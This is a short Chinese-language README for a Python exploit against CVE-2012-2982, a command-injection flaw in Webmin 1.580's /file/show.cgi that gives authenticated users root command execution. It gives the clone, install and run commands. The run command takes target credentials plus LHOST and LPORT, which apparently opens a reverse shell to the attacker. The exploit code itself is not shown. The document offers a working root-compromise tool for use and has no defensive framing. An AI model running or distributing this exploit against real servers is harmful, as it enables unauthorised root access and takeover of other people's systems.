此 Python 脚本针对 Webmin 1.580 中的漏洞 CVE-2012-2982 编写。该漏洞存在于 /file/show.cgi 组件中,允许有权访问文件管理器模块的已认证用户以 root 权限执行任意命令。
已测试的 Python 版本:Python 3.8.5
所需的 pip 包:secrets
git clone https://github.com/OstojaOfficial/CVE-2012-2982.git
pip3 install -r requirements.txt
使用以下命令运行漏洞利用程序:
python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>